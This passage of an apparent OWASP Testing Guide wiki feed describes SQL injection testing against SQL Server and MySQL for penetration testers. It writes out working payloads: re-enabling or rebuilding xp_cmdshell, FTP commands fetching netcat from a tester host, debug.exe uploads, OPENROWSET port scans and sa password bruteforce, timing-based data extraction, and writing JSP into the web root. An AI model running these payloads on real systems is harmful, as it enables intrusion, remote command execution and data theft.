All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above.&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====If more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes. &lt;br /&gt;
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable files.&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=86487</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=86487"/>
				<updated>2010-07-15T14:25:19Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: corrected spelling of cycles in Time based Blind Injection: BENCHMARK and SLEEP section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When an SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the application, to work properly, needs to use constant strings,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ASCII values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
For example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies upon.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows us to get all informations about databases, tables, and columns,&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary of some interesting Views.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of this information could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection section.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes surrounding a filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use the 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
MySQL user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If a connected user has '''FILE''' privileges, it could be used to get the files' content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''The whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on the MySQL version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
